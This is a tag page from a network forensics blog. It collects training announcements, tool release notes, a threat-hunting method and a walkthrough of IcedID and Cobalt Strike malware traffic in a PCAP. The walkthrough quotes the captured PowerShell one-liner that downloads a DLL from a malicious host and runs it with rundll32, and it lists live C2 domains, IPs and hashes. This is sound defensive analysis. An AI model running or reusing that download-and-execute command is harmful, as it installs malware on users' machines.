NETRESEC Network Security Blog - Tag : Network Forensics

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Network Forensics Classes for EU and US

We have now scheduled two new live online classes, one in September and one in October. The September class is adapted to European time and the October one is adapted to American time. The contents are exactly the same in both classes.

PCAP in the mornining

The training is split into four interactive morning sessions (4 hours each), so that you have the afternoon free to either practice what you learned in class or do your “normal” day job. The number of attendees will be limited in order to enable attendees to ask questions or even cover short ad-hoc side tracks. We plan to accept something like 10 to 15 attendees per class. The class registration will be closed once we reach this attendee limit.

  • 🇪🇺 September 20-23, 2021. Live Online Training "PCAP in the Morning EU"
    ⏲️ Time: 8:30 AM to 12:30 PM CET (Central European Time)
    💸 Price: € 820 EUR per student (€ 738 EUR if registering before August 20)
  • 🇺🇸 October 25-28, 2021. Live Online Training "PCAP in the Morning US"
    ⏲️ Time: 9:00 AM to 1:00 PM EDT (US Eastern Daylight Time)
    💸 Price: $1,000 USD per student ($900 USD if registering before September 25)

We will be analyzing a unique 30GB PCAP data set captured during June 2020 on an Internet connected network with multiple clients, an AD server, a web server, an android tablet and some embedded devices. As you’ve probably guessed, the capture files contain traffic from multiple intrusions by various attackers, including APT style attackers and botnet operators. The initial attack vectors are using techniques like exploitation of web vulnerabilities, spear phishing, a supply chain attack and a man-on-the-side attack!

See our training page for more info about the “PCAP in the Morning” classes.

To sign up for a class, simply send an email to sales@netresec.com with the class dates, your name and invoice address. We will then send you a PayPal payment link that you can use to complete your training registration.

Hope to see you there!

Erik H

Cheers,
Erik Hjelmvik
Creator of NetworkMiner and founder of Netresec

Posted by Erik Hjelmvik on Monday, 07 June 2021 09:55:00 (UTC/GMT)

Tags: #Netresec #PCAP #Training #Network Forensics #Class

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Analysing a malware PCAP with IcedID and Cobalt Strike traffic

IdedID and Cobalt Strike

This network forensics walkthrough is based on two pcap files released by Brad Duncan on malware-traffic-analysis.net. The traffic was generated by executing a malicious JS file called StolenImages_Evidence.js in a sandbox environment.

The capture file starts with a DNS lookup for banusdona.top, which resolved to 172.67.188.12, followed by an HTTP GET request for "/222g100/index.php" on that domain. The following PowerShell oneliner is returned in the HTTP response from banusdona.top:

$path = $Env:temp+'\JwWdx.dat'; $client = New-Object Net.WebClient; $client.downloadfile('http://banusdona.top/222g100/main.php',$path); C:\Windows\System32\rundll32.exe $path,DllRegisterServer

This oneliner instructs the initial dropper to download a Win32 DLL payload from http://banusdona[.]top/222g100/main.php and save it as "JwWdx.dat" in the user's temp directory and then run the DLL with:

rundll32.exe %TEMP%\JwWdx.dat,DllRegisterServer

As you can see in the screenshot below, the HTTP response for this second request to banusdona.top has Content-Type "application/octet-stream", but also a conflicting Content-disposition header of "attachment;filename=data.jpg", which indicates that the file should be saved to disk as "data.jpg". Nevertheless, the "MZ" header in the transferred data reveals that the downloaded data wasn't an image, but a Windows binary (dll or exe).

CapLoader transcript of IcedID malware download Image: CapLoader transcript of IcedID malware download

The downloaded file gets extracted from the pcap file by NetworkMiner as "data.jpg.octet-stream".

Files extracted from PCAP by NetworkMiner Image: Files extracted from PCAP by NetworkMiner

Right-clicking "data.jpg.octet-stream" in NetworkMiner and selecting "Calculate MD5..." brings up a new window with additional file details, such as MD5 and SHA hashes of the reassembled file.

Extracted malware download of Cerbu / IcedID f98711dfeeab9c8b4975b2f9a88d8fea
MD5: f98711dfeeab9c8b4975b2f9a88d8fea SHA1: c2bdc885083696b877ab6f0e05a9d968fd7cc2bb SHA256: 213e9c8bf7f6d0113193f785cb407f0e8900ba75b9131475796445c11f3ff37c

This file is available on VirusTotal, where we can see that it's a DLL that several AV vendors identify as "Cerbu" or "IcedID". VirusTotal's C2AE sandbox analysis of the DLL also reveals the domain name "momenturede.fun" in the process' memory. As you might expect, a connection is made to that domain just a few seconds later. A nice overview of these connections can be seen in CapLoader's Flow tab.

CapLoader showing initial flows from the IcedID malware execution Image: CapLoader showing initial flows from the IcedID malware execution

The momenturede.fun server returns a 500kB file, which NetworkMiner extracts from the pcap file as "index.gzip".

MD5: 96a535122aba4240e2c6370d0c9a09d3 SHA1: 485ba347cf898e34a7455e0fd36b0bcf8b03ffd8 SHA256: 3d1b525ec2ee887bbc387654f6ff6d88e41540b789ea124ce51fb5565e2b8830

This turns out to be an encrypted IcedID DLL file, which has been analyzed by Ali Aqeel here:
https://aaqeel01.wordpress.com/2021/04/09/icedid-analysis/

Right after the IcedID download we see a series of HTTPS connections towards odd domains like vaccnavalcod.website, mazzappa.fun, ameripermanentno.website and odichaly.space, all of which resolved to IP 83.97.20.176. That host is most likely a command-and-control (C2) server used by the IcedID malware.

CapLoader's "Services" tab also reveals that the TLS connections to port 443 on 83.97.20.176 are very periodic, with a new connection every 5 minutes. Periodic connection patterns like this is a typical indicator of C2 traffic, where the malware agent connects back to the C2 server on regular intervals to check for new tasks.

Periodic IcedID C2 communication detected by CapLoader Image: CapLoader's Services tab showing that the IcedID malware agent connects to the C2 server every 5 minutes (00:05:01).

The traffic to 83.97.20.176 is encrypted, so we can't inspect the payload to verify whether or not it is IcedID C2 communications. What we can do, however, is to extract the HTTPS server's X.509 certificate and the JA3 hash of the client's TLS implementation from the encrypted traffic.

NetworkMiner has extracted the X.509 certificates for vaccnavalcod.website, mazzappa.fun, ameripermanentno.website and odichaly.space to disk as "localhost.cer".

X.509 certificate 452e969c51882628dac65e38aff0f8e5ebee6e6b

It turns out that all these sites used the same self-signed certificate, which had SHA1 fingerprint 452e969c51882628dac65e38aff0f8e5ebee6e6b. The X.509 certificate was created using OpenSSL's default values, such as "Internet Widgits Pty Ltd" etc. Further details about this certificate can be found on censys.io.

The JA3 hashes used by the IcedID malware agent can be found in NetworkMiner's Hosts tab as well as in the Parameters tab.

NetworkMiner's Parameters tab with keyoword filter JA3 Hash Image: NetworkMiner's Parameters tab with keyword filter "JA3 Hash"

The JA3 hashes for the client that connects to the C2 server are a0e9f5d64349fb13191bc781f81f42e1 and 3b5074b1b5d032e5620f69f9f700ff0e. Several legitimate Windows applications unfortunately have the same JA3 hashes, so we can't use them to uniquely identify the IcedID agents.

The IcedID C2 traffic continues for over 19 hours, at which point we suddenly see a connection to a new suspicious domain called "lesti.net" on 185.141.26.140. The first HTTP request to that domain is used to download a 261703 byte file, as can be seen in this Flow Transcript from CapLoader:

CapLoder Transcript of CobaltStrike beacon download

NetworkMiner extracts this file as "9r8z.octet-stream". This turns out to be a Cobalt Strike beacon download, which we can decode with Didier Stevens' fantastic 1768.py script.

The output from 1768.py reveals that this Cobalt Strike beacon is using the following URIs for C2 communication:

  • GET URI: http://lesti[.]net/userid=
  • POST URI: http://lesti[.]net/update.php

We can also see that the Cobalt Strike license-id (a.k.a. watermark) is 1580103814. This ID can be used to link this Cobalt Strike beacon to other campaigns. Below is a list of Cobalt Strike C2 servers using license-id 1580103814 discovered by Tek in December 2020:

  • 45.147.229[.]157
  • selfspin[.]com
  • savann[.]org
  • palside[.]com
  • server3.msadwindows[.]com
  • mapizzamates[.]com
  • fixval[.]com
  • rackspare-technology[.]download
  • 108.177.235[.]148
  • matesmapizza[.]com

Update 4 May 2021

Sergiu Sechel published a blog post yesterday, which included a list of Cobalt Strike C2 servers. We fed this list to Tek's scan_list.py script in order to see if license-id 1580103814 is still active. It turned out it was. We found the following 27 domains and IP's running Cobalt Strike C2 servers on TCP 443 using that license-id.

  • 151.236.14[.]53
  • 151.236.14[.]53
  • 172.241.27[.]70
  • 193.29.13[.]201
  • 193.29.13[.]201
  • 193.29.13[.]209
  • 194.165.16[.]60
  • 193.29.13[.]209
  • 193.29.13[.]201
  • 194.165.16[.]60
  • 194.165.16[.]60
  • dain22[.]net
  • drellio[.]com
  • feusa[.]net
  • fut1[.]net
  • helle1[.]net
  • hars2t[.]com
  • kasaa[.]net
  • idxup[.]com
  • maren2[.]com
  • mgfee[.]com
  • massflip[.]com
  • oaelf[.]com
  • repdot[.]com
  • scalewa[.]com
  • tulls[.]net
  • wellser[.]org

The full output from our re-scan of Sergiu's C2 list can be found on pastebin.

Update 8 May 2021

Security researcher Michael Koczwara is tracking Cobalt Strike license 1580103814 as APT actor LuckyMouse (a.k.a. Emissary Panda or APT 27). Michael's Cobalt Stike C2 dataset, which currently contains 25 unique C2 IPs and domains for license-id 1580103814, is available as a Google Docs spreadsheet (see the "LuckyMouse Actor" tab).

Indicators of Compromise - IOCs

  • MD5: 8da75e1f974d1011c91ed3110a4ded38
  • SHA1: e9b5e549363fa9fcb362b606b75d131dec6c020e
  • SHA256: 0314b8cd45b636f38d07032dc8ed463295710460ea7a4e214c1de7b0e817aab6
  • DNS: banusdona.top
  • IP: 172.67.188.12
  • MD5: f98711dfeeab9c8b4975b2f9a88d8fea
  • SHA1: c2bdc885083696b877ab6f0e05a9d968fd7cc2bb
  • SHA256: 213e9c8bf7f6d0113193f785cb407f0e8900ba75b9131475796445c11f3ff37c
  • DNS: momenturede.fun
  • IP: 104.236.115.181
  • MD5: 96a535122aba4240e2c6370d0c9a09d3
  • SHA1: 485ba347cf898e34a7455e0fd36b0bcf8b03ffd8
  • MD5: 11965662e146d97d3fa3288e119aefb2
  • SHA1: b63d7ad26df026f6cca07eae14bb10a0ddb77f41
  • SHA256: d45b3f9d93171c29a51f9c8011cd61aa44fcb474d59a0b68181bb690dbbf2ef5
  • DNS: vaccnavalcod.website
  • DNS: mazzappa.fun
  • DNS: ameripermanentno.website
  • DNS: odichaly.space
  • IP: 83.97.20.176
  • SHA1: 452e969c51882628dac65e38aff0f8e5ebee6e6b
  • DNS: lesti.net
  • IP: 185.141.26.140
  • MD5: 449c1967d1708d7056053bedb9e45781
  • SHA1: 1ab39f1c8fb3f2af47b877cafda4ee09374d7bd3
  • SHA256: c7da494880130cdb52bd75dae1556a78f2298a8cc9a2e75ece8a57ca290880d3
  • Cobalt Strike Watermark: 1580103814

Network Forensics Training

Are you interested in learning more about how to analyze captured network traffic from malware and hackers? Have a look at our network forensic trainings. Our next class is a live online event called PCAP in the Morning.

Posted by Erik Hjelmvik on Monday, 19 April 2021 09:45:00 (UTC/GMT)

Tags: #Cobalt Strike #CobaltStrike #NetworkMiner #CapLoader #Network Forensics #JA3 #X.509 #1768.py

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Live Online Training - PCAP in the Morning

Would you like to spend four mornings in May analyzing capture files together with me?

I love the smell of PCAP in the Morning

I have now scheduled a live online network forensics training called “PCAP in the Morning” that will run on May 3-6 (Monday to Thursday) between 8:30 AM and 12:30 PM EDT (US Eastern Daylight Time). We will be analyzing a unique 30GB PCAP data set captured during June 2020 on an Internet connected network with multiple clients, an AD server, a web server, an android tablet and some embedded devices. As you’ve probably guessed, the capture files contain traffic from multiple intrusions by various attackers, including APT style attackers and botnet operators. The initial attack vectors are using techniques like exploitation of web vulnerabilities, spear phishing, a supply chain attack and a man-on-the-side attack!

See our training page for more info about the “PCAP in the Morning” training.

To sign up for my “PCAP in the Morning” class, simply send an email to sales@netresec.com with your name and invoice address. We will then send you a PayPal payment link that you can use to complete your training registration. The training costs $950 USD per participant, for which you will also get a six month single user license for NetworkMiner Professional and CapLoader.

Hope to see you there!

Erik H

Cheers,
Erik Hjelmvik
Creator of NetworkMiner and founder of Netresec

Update June 7, 2021

We have now scheduled two new training events adapted for students in different time zones.

  • September 20-23, 2021. Live Online Training "PCAP in the Morning EU" (🇪🇺)
  • October 25-28, 2021. Live Online Training "PCAP in the Morning US" (🇺🇸)

More information about the network forensics classes can be found on our training page.

Posted by Erik Hjelmvik on Friday, 19 March 2021 14:03:00 (UTC/GMT)

Tags: #Netresec #PCAP #Training #Network Forensics

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Video: TrickBot and ETERNALCHAMPION

This video tutorial is a walkthrough of how you can analyze the PCAP file UISGCON-traffic-analysis-task-pcap-2-of-2.pcap (created by Brad Duncan). The capture file contains a malicious Word Document (macro downloader), Emotet (banking trojan), TrickBot/Trickster (banking trojan) and an EternalChampion (CVE-2017-0146) exploit used to perform lateral movement.

Network Diagram

Network Diagram

Timeline of Events

Frame Time (UTC) Event
825 18:55:32 Malicious Word doc [cosmoservicios.cl]
1099 18:56:04 Emotet download [bsrcellular.com]
5024 19:00:41 Trickbot "radiance.png" download
9604 19:01:34 Client credentials exfiltrated [200.29.24.36:8082]
9915 19:01:36 ETERNALCHAMPION exploit from client to DC
10424 19:01:51 Client sends .EXE files to \\10.1.75.4\C$\WINDOWS\
11078 19:01:51 Client infects DC with Trickbot via rogue service
14314 19:07:03 DC credentials exfiltrated [200.29.24.36:8082]

OSINT Links Opened

Tools Used

Network Forensics Training

Wanna improve your network forensics skills? Take a look at our trainings, the next scheduled class is on March 18-19 at the TROOPERS conference in Germany.

Posted by Erik Hjelmvik on Wednesday, 23 January 2019 14:00:00 (UTC/GMT)

Tags: #Wireshark #CapLoader #NetworkMiner #videotutorial #video #pcap #Network Forensics #ASCII-art

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NetworkMiner 2.3 Released!

The free and open source network forensics tool NetworkMiner now comes with improved extraction of files and metadata from several protocols as well as a few GUI updates. But the biggest improvements for version 2.3 are in the commercial tool NetworkMiner Professional, which now supports VoIP call audio extraction and playback as well as OSINT lookups of file hashes, IP addresses, domain names and URLs.

I’m happy to announce that NetworkMiner 2.3 now does an even better job than before at extracting files and metadata from several protocols. Improvements have been made in the parsers for the following protocols: HTTP, IEC-104, IPv4, Modbus, SIP, SMB, SMB2, SMTP and SSL/TLS.

We have also added support for the SNMP protocol in NetworkMiner 2.3, so that SNMP community strings can be extracted and displayed on the Parameters and Credentials tabs.

SNMP Community Strings in NetworkMiner's Credential tab

Another change is that timestamps are now displayed using the UTC time zone instead of using the local time zone. We have also fixed a few GUI quirks in order to further improve the usability of the tool.


NetworkMiner Professional

The commercial version of NetworkMiner, i.e. NetworkMiner Professional, comes with several additional improvements which are presented below.

VoIP Call Playback

NetworkMiner Professional has received a new tab called “VoIP”, which enables audio playback of VoIP calls that are using SIP and RTP with G.711 μ-law or A-law encoding (u-Law is primarily used in North America and Japan while A-law is used in Europe and most other parts of the world).

Video: Audio playback and extraction to WAV from the “SIP_CALL_RTP_G711” PCAP file in the Wireshark Sample Captures.

The audio streams from the VoIP calls are also extracted to disk as .WAV files when codecs G.729 or G.711 (u-Law and A-Law) is used. NetworkMiner Professional also attempts to reassemble RTP streams encoded with G.722 to .au files.

OSINT Lookups of IP Addresses, Domains, URLs and File Hashes

Right-clicking a network host in NetworkMiner Professional’s Hosts tab brings up a context menu with options for performing lookups of IP and domain names using external sources. We refer to this method as open-source intelligence (OSINT) because the accessed data resides at publicly available sources.

OSINT IP lookup in NetworkMiner Professional 2.3

Clicking on an OSINT provider brings up a webpage with more detailed information about the selected IP address, such as IBM X-Force, mnemonic Passive DNS, Shodan, UrlQuery or VT. However, if you’re lazy like me, then you’ll probably click the “All above!” option instead, which will bring up all of the sources in separate tabs in your browser.

The full list of OSINT providers available for IP lookups includes APNIC Whois, BFK Passive DNS, Censys, Cymon, DNSTrails, ExoneraTor, Google Public DNS, GreenSnow.co, Hurricane Electric, IBM X-Force, Internet Storm Center, mnemonic Passive DNS, PacketTotal, Shodan, ThreatCrowd, ThreatMiner, UrlQuery and VirusTotal.

The domain name lookup menu contains a similar set of providers: BFK Passive DNS, Cymon, DNSTrails, Google Public DNS, Google Safe Browsing, Hybrid Analysis, IBM X-Force Exchange, mnemonic Passive DNS, MXToolBox, MyWOT, Norton Safe Web, PacketTotal, ThreatCrowd, ThreatMiner, URL Void, UrlQuery, VirusTotal, Website Informer, Webutation and Whoisology.


OSINT URL lookup in NetworkMiner Professional 2.3

Right-clicking a URL in the Browsers tab brings up a similar context menu, which additionally includes the following services for URL lookups: Google Safe Browsing, IBM X-Force, ThreatMiner, URLhaus and UrlQuery.


OSINT file hash lookup in NetworkMiner Professional 2.3

Finally, right-clicking on one of the files that NetworkMiner has extracted from a PCAP file brings up a menu for doing OSINT lookups based on the MD5 or SHA256 hash of the file. The sources used for lookups of hashes include IBM X-Force, PacketTotal, ThreatCrowd, TotalHash, UrlQuery, VirScan.org, Comodo Valkyrie, AlienVault OTX, Hybrid Analysis, ThreatMiner and VirusTotal.

Hybrid Analysis API Integration

Did you know that the malware analysis service Hybrid Analysis provides free API keys to people in the IT security community?

@HybridAnalysis: We are excited to announce that full API keys for file submissions are now available to everyone of the IT security community

This is a great move by the Hybrid Analysis team, and we’re happy to announce that we have leveraged their API in NetworkMiner Professional in order to submit files for analysis directly from within the NetworkMiner GUI. The API integration also enables you to query for an IP on Hybrid Analysis to see which previously submitted samples has communicated with that particular IP address.

Here are the steps required to enable the Hybrid Analysis API integration:


Credits

I would like to thank Chris Sistrunk, Mats Karlsson and Michael Nilsson for suggesting several of the protocol and GUI improvements that have been incorporated into this new release. I’d also like to thank Doug Green and Ahmad Nawawi for discovering and reporting bugs in the IP and SSL parser respectively.


Upgrading to Version 2.3

Users who have purchased a license for NetworkMiner Professional 2.x can download a free update to version 2.3 from our customer portal.

Those who instead prefer to use the free and open source version can grab the latest version of NetworkMiner from the official NetworkMiner page.

FOR GREAT JUSTICE!

Posted by Erik Hjelmvik on Tuesday, 03 April 2018 06:27:00 (UTC/GMT)

Tags: #NetworkMiner #PCAP #OSINT #SMTP #SIP #RTP #VoIP #Network Forensics #extract #Netresec

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Network Forensics Training in London

The Flag of the United States by Sam Howzit (CC BY 2.0)

People sometimes ask me when I will teach my network forensics class in the United States. The US is undoubtedly the country with the most advanced and mature DFIR community, so it would be awesome to be able to give my class there. However, not being a U.S. person and not working for a U.S. company makes it rather difficult for me to teach in the United States (remember what happened to Halvar Flake?).

So if you’re from the Americas and would like to take my network forensics class, then please don’t wait for me to teach my class at a venue close to you – because I probably won’t. My recommendation is that you instead attend my upcoming training at 44CON in London this September.

London Red Telephone Booth Long Exposure by negativespace.co (CC0)

The network forensics training in London will cover topics such as:

  • Analyzing a web defacement
  • Investigating traffic from a remote access trojan (njRAT)
  • Analyzing a Man-on-the-Side attack (much like QUANTUM INSERT)
  • Finding a backdoored application
  • Identifying botnet traffic through whitelisting
  • Rinse-Repeat Threat Hunting

The first day of training will focus on analysis using only open source tools. The second day will primarily cover training on commercial software from Netresec, i.e. NetworkMiner Professional and CapLoader. All students enrolling in the class will get a full 6 month license for both these commercial tools.

Hope to see you at the 44CON training in London!

Posted by Erik Hjelmvik on Tuesday, 25 April 2017 14:33:00 (UTC/GMT)

Tags: #Netresec #Network Forensics

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Network Forensics Training at TROOPERS 2017

Troopers logo with Network Forensics Training

I will come back to the awesome TROOPERS conference in Germany this spring to teach my two-day network forensics class on March 20-21.

The training will touch upon topics relevant for law enforcement as well as incident response, such as investigating a defacement, finding backdoors and dealing with a machine infected with real malware. We will also be carving lots of files, emails and other artifacts from the PCAP dataset as well as perform Rinse-Repeat Intrusion Detection in order to detect covert malicious traffic.

Day 1 - March 20, 2017

The first training day will focus on open source tools that can be used for doing network forensics. We will be using the Security Onion linux distro for this part, since it contains pretty much all the open source tools you need in order to do network forensics.

Day 2 - March 21, 2017

We will spend the second day mainly using NetworkMiner Professional and CapLoader, i.e. the commercial tools from Netresec. Each student will be provided with a free 6 month license for the latest version of NetworkMiner Professional (see our recent release of version 2.1) and CapLoader. This is a unique chance to learn all the great features of these tools directly from the guy who develops them (me!).

NetworkMiner   CapLoader

The Venue

The Troopers conference and training will be held at the Print Media Academy (PMA) in Heidelberg, Germany.

PMA Early Morning by Alex Hauk
Print Media Academy, image credit: Alex Hauk

Keeping the class small

The number of seats in the training will be limited in order to provide a high-quality interactive training. However, keep in mind that this means that the we might run out of seats for the network forensics class!

I would like to recommend those who wanna take the training to also attend the Troopers conference on March 22-24. The conference will have some great talks, like these ones:

However, my greatest takeaway from last year's Troopers was the awesome hallway track, i.e. all the great conversations I had with all the smart people who came to Troopers.

Please note that the tickets to the Troopers conference are also limited, and they seem to sell out quite early each year. So if you are planning to attend the network forensics training, then I recommend that you buy an “All Inclusive” ticket, which includes a two-day training and a conference ticket.

You can read more about the network forensics training at the Troopers website.

UPDATE 2017-02-15

The network forensics training at Troopers is now sold out. However, there are still free seats available in our network forensics class at 44CON in London in September.

Posted by Erik Hjelmvik on Tuesday, 24 January 2017 07:20:00 (UTC/GMT)

Tags: #Netresec #Network Forensics #Troopers #NetworkMiner #CapLoader #Training #Security Onion

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Network Forensics Training at TROOPERS

Troopers logo with Network Forensics Training

I'm happy to announce that I will teach a two-day Network Forensics class at the upcoming Troopers conference in March! The first day of training (March 14) will cover how to use open source tools to analyze intrusions and malware in captured network traffic. On day two (March 15) I will show attendees some tips and tricks for how to use software developed by us at Netresec, i.e. NetworkMiner Professional and CapLoader. This training is a rare opportunity to learn how to use this software directly from the main developer (me). Everyone taking the class will also get a free 6 month personal license for both NetworkMiner Pro and CapLoader.


Scenario and Dataset

The dataset analyzed in the class has been created using REAL physical machines and a REAL internet connection. All traffic on the network is captured to PCAP files by a SecurityOnion sensor. The scenario includes events, such as:

  • Web Defacement
  • Man-on-the-Side (MOTS) attack (much like NSA/GCHQ's QUANTUM INSERT)
  • Backdoor infection through trojanized software
  • Spear phishing
  • Use of a popular RAT (njRAT) for remote access and exfiltration
  • Infection with real malware

Class attendees will learn to analyze captured network traffic from these events in order to:

  • Investigate web server compromises and defacements
  • Detect Man-on-the-Side attacks
  • Identify covert backdoors
  • Reassemble incoming emails and attachments
  • Detect and decode RAT/backdoor traffic
  • Detect malicious traffic without having to rely on blacklists, AV or third-party detection services

Training Room
Training room at TROOPERS'15

For more details about the training, please visit Netresec's or Troopers' training pages:
http://www.netresec.com/?page=Training
https://www.troopers.de/events/troopers16/576_network_forensics/

 Print Media Academy in Heidelberg

The Venue

The TROOPERS conference and training take place at the Print Media Academy in Heidelberg, Germany. For more info about travel and accommodation, please visit:
https://www.troopers.de/troopers16/travel/

Hope to see you at TROOPERS16 in Heidelberg, Germany!


Posted by Erik Hjelmvik on Tuesday, 15 December 2015 10:53:00 (UTC/GMT)

Tags: #Netresec #PCAP #Troopers #Network Forensics #Training #Class #NetworkMiner #CapLoader

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Rinse-Repeat Intrusion Detection

I am a long time skeptic when it comes to blacklists and other forms of signature based detection mechanisms. The information security industry has also declared the signature based anti-virus approach dead several times during the past 10 years. Yet, we still rely on anti-virus signatures, IDS rules, IP blacklists, malware domain lists, YARA rules etc. to detect malware infections and other forms of intrusions in our networks. This outdated approach puts a high administrative burden on IT and security operations today, since we need to keep all our signature databases up to date, both when it comes to end point AV signatures as well as IDS rules and other signature based detection methods and threat feeds. Many organizations probably spend more time and money on updating all these blacklists and signature databases than actually investigating the security alerts these detection systems generate. What can I say; the world is truly upside down...

Shower image by Nevit Dilmen Image: Shower by Nevit Dilmen.

I would therefore like to use this blog post to briefly describe an effective blacklist-free approach for detecting malware and intrusions just by analyzing network traffic. My approach relies on a combination of whitelisting and common sense anomaly detection (i.e. not the academic statistical anomaly detection algorithms that never seem to work in reality). I also encourage CERT/CSIRT/SOC/SecOps units to practice Sun Tzu's old ”know yourself”, or rather ”know your systems and networks” approach.

Know your enemy and know yourself and you can fight a hundred battles without disaster.
- Sun Tzu in The Art of War
Art of War in Bamboo by vlasta2
Image: Art of War in Bamboo by vlasta2

My method doesn't rely on any dark magic, it is actually just a simple Rinse-Repeat approach built on the following steps:

  1. Look at network traffic
  2. Define what's normal (whitelist)
  3. Remove that
  4. GOTO 1.

After looping through these steps a few times you'll be left with some odd network traffic, which will have a high ratio of maliciousness. The key here is, of course, to know what traffic to classify as ”normal”. This is where ”know your systems and networks” comes in.


What Traffic is Normal?

I recently realized that Mike Poor seems to be thinking along the same lines, when I read his foreword to Chris Sanders' and Jason Smith's Applied NSM:

The next time you are at your console, review some logs. You might think... "I don't know what to look for". Start with what you know, understand, and don't care about. Discard those. Everything else is of interest.

Applied NSM

Following Mike's advice we might, for example, define“normal” traffic as:

  • HTTP(S) traffic to popular web servers on the Internet on standard ports (TCP 80 and 443).
  • SMB traffic between client networks and file servers.
  • DNS queries from clients to your name server on UDP 53, where the servers successfully answers with an A, AAAA, CNAME, MX, NS or SOA record.
  • ...any other traffic which is normal in your organization.

Whitelisting IP ranges belonging to Google, Facebook, Microsoft and Akamai as ”popular web servers” will reduce the dataset a great deal, but that's far from enough. One approach we use is to perform DNS whitelisting by classifying all servers with a domain name listed in Alexa's Top 1 Million list as ”popular”.

You might argue that such a method just replaces the old blacklist-updating-problem with a new whitelist-updating-problem. Well yes, you are right to some extent, but the good part is that the whitelist changes very little over time compared to a blacklist. So you don't need to update very often. Another great benefit is that the whitelist/rinse-repeat approach also enables detection of 0-day exploits and C2 traffic of unknown malware, since we aren't looking for known badness – just odd traffic.


Threat Hunting with Rinse-Repeat

Mike Poor isn't the only well merited incident handler who seems to have adopted a strategy similar to the Rinse-Repeat method; Richard Bejtlich (former US Air Force CERT and GE CIRT member) reveal some valuable insight in his book “The Practice of Network Security Monitoring”:

I often use Argus with Racluster to quickly search a large collection of session data via the command line, especially for unexpected entries. Rather than searching for specific data, I tell Argus what to omit, and then I review what’s left.

In his book Richard also mentions that he uses a similar methodology when going on “hunting trips” (i.e. actively looking for intrusions without having received an IDS alert):

Sometimes I hunt for traffic by telling Wireshark what to ignore so that I can examine what’s left behind. I start with a simple filter, review the results, add another filter, review the results, and so on until I’m left with a small amount of traffic to analyze.

The Practice of NSM

I personally find Rinse-Repeat Intrusion Detection ideal for threat hunting, especially in situations where you are provided with a big PCAP dataset to answer the classic question “Have we been hacked?”. However, unfortunately the “blacklist mentality” is so conditioned among incident responders that they often choose to crunch these datasets through blacklists and signature databases in order to then review thousands of alerts, which are full of false positives. In most situations such approaches are just a huge waste of time and computing power, and I'm hoping to see a change in the incident responders' mindsets in the future.

I teach this “rinse-repeat” threat hunting method in our Network Forensics Training. In this class students get hands-on experience with a dataset of 3.5 GB / 40.000 flows, which is then reduced to just a fraction through a few iterations in the rinse-repeat loop. The remaining part of the PCAP dataset has a very high ratio of hacking attacks as well as command-and-control traffic from RAT's, backdoors and botnets.


UPDATE 2015-10-07

We have now published a blog post detailing how to use dynamic protocol detection to identify services running on non-standard ports. This is a good example on how to put the Rinse-Repeat methodology into practice.

Posted by Erik Hjelmvik on Monday, 17 August 2015 08:45:00 (UTC/GMT)

Tags: #Rinse-Repeat #PCAP #NSM #PCAP #Intrusion Detection #IDS #network forensics

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Two-day Network Forensics Class in Stockholm

Network Forensics Training in Stockholm

We are running a two-day Network Forensics class in Stockholm on 15-16th of September.

SEC-T.org logo Our class is held the days before the SEC-T conference, which is a great technical information security conference in Stockholm, and at the same venue (Nalen). Visitors can thereby plan 4 days of training and conferencing in Stockholm without having to transfer between hotels.

The Network Forensics class consists of a mix of theory and hands-on labs, where students will learn to analyze Full Packet Capture (FPC) files. The scenarios in the labs are primarily focused at network forensics for incident response, but are also relevant for law enforcement/internal security etc. where the network traffic of a suspect or insider is being monitored.

You can find more information about the class here:
http://www.netresec.com/?page=Training

Posted by Erik Hjelmvik on Wednesday, 03 June 2015 21:30:00 (UTC/GMT)

Tags: #Netresec #PCAP #NSM #Network Forensics #Class #Training #SEC-T

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HowTo install NetworkMiner in Ubuntu Fedora and Arch Linux

NetworkMiner Loves Linux NetworkMiner is a network forensics tool primarily developed for Windows OS's, but it actually runs just fine also in other operating systems with help of the Mono Framework. This guide shows how to install NetworkMiner in three different Linux distros (Ubuntu, Fedora and Arch Linux).

STEP 1: Install Mono

Ubuntu (also other Debian based distros like Xubuntu and Kali Linux)

sudo apt install mono-devel

CentOS/RHEL

sudo yum install mono-devel

Fedora

sudo dnf install mono-devel

ArchLinux

sudo pacman -S mono

Verify that you have installed Mono version 5 or later with "mono --version".

mono --version
Mono JIT compiler version 5.18.0.240 (Debian 5.18.0.240+dfsg-2ubuntu2 Wed Apr 17 23:39:09 UTC 2019)
Copyright (C) 2002-2014 Novell, Inc, Xamarin Inc and Contributors. www.mono-project.com
    TLS:           __thread
    SIGSEGV:       altstack
    Notifications: epoll
    Architecture:  amd64
    Disabled:      none
    Misc:          softdebug
    Interpreter:   yes
    LLVM:          supported, not enabled.
    Suspend:       preemptive
    GC:            sgen (concurrent by default)

The example output above shows Mono 5.18.0.240 is installed, so we're good to go. But if you're stuck on Mono 4.x or wasn't able to install Mono at all from your package manager, then please resort to the "Installing Mono Manually" section below.

Installing Mono Manually
Users of most Linux flavors as well as macOS can download and install the latest stable release of the Mono Framwork from here:
https://www.mono-project.com/download/stable/


STEP 2: Install NetworkMiner

wget https://www.netresec.com/?download=NetworkMiner -O /tmp/nm.zip
sudo unzip /tmp/nm.zip -d /opt/
cd /opt/NetworkMiner*
sudo chmod +x NetworkMiner.exe
sudo chmod -R go+w AssembledFiles/
sudo chmod -R go+w Captures/

Note: If you still haven't installed Mono 5 and "Installing Mono Manually" wasn't a viable option, then the latest NetworkMiner release is not for you. Please download NetworkMiner 2.4 instead, which works fine also with older versions of Mono. You can find NetworkMiner 2.4 here:

https://www.netresec.com/?download=NetworkMiner_2-4


STEP 3: Run NetworkMiner

mono NetworkMiner.exe --noupdatecheck

NetworkMiner in Ubuntu Linux
NetworkMiner 1.2 running under Ubuntu Linux, with “day12-1.dmp” from the M57-Patents Scenario loaded.

Live CD's

Another way to try out NetworkMiner in Linux is to spin up one of the Live CD's that has the tool installed, such as Security Onion, REMnux or NST.

Live sniffing with NetworkMiner

In order to capture packets (sniff traffic) in Linux you will have to use the “PCAP-over-IP” feature. NetworkMiner is, however, not really designed for packet capturing; it is primarily a tool for parsing and analyzing PCAP files containing previously sniffed traffic.

We recommend using other tools such as tcpdump, dumpcap or netsniff-ng in order to reliably capture packets to a PCAP file. You can read more on how to sniff traffic in our Sniffing Tutorial.

Posted by Erik Hjelmvik on Saturday, 01 February 2014 20:45:00 (UTC/GMT)

Tags: #NetworkMiner #Linux #mono #network forensics

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NETRESEC on Twitter

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book

Recommended Books

» The Practice of Network Security Monitoring, Richard Bejtlich (2013)

» Applied Network Security Monitoring, Chris Sanders and Jason Smith (2013)

» Network Forensics, Sherri Davidoff and Jonathan Ham (2012)

